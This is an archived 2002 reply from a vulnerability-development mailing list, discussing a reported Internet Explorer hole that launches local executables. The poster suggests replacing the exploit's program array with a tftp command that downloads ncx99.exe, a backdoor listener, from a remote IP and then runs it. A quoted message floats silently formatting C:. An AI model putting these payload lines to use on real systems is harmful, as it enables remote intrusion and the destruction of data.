Vulnerability Development mailing list archives

Re: Rather large MSIE-hole


From: NoCoNFLiC <nocon () castleblack darkflame net>
Date: Wed, 13 Mar 2002 12:51:15 -0600

[nyquist () ntlworld com] Wed, Mar 13, 2002 at 08:45:46AM +0000 wrote:
If this is confirmed, could this array by changed to equal, erm...let's
say format.exe (with a couple of parameters to silently format C:/)?

 var programName=new Array(
      'c:/windows/system32/logoff.exe',
      'c:/winxp/system32/logoff.exe',
      'c:/winnt/system32/logoff.exe'


   I havent tried, since i don't run MS, how about ? 

var programName=new Array(
     'c:/winnt/system32/tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe',
     'c:/winnt/system32/ncx99.exe',
 );


- nocon

 


Current thread: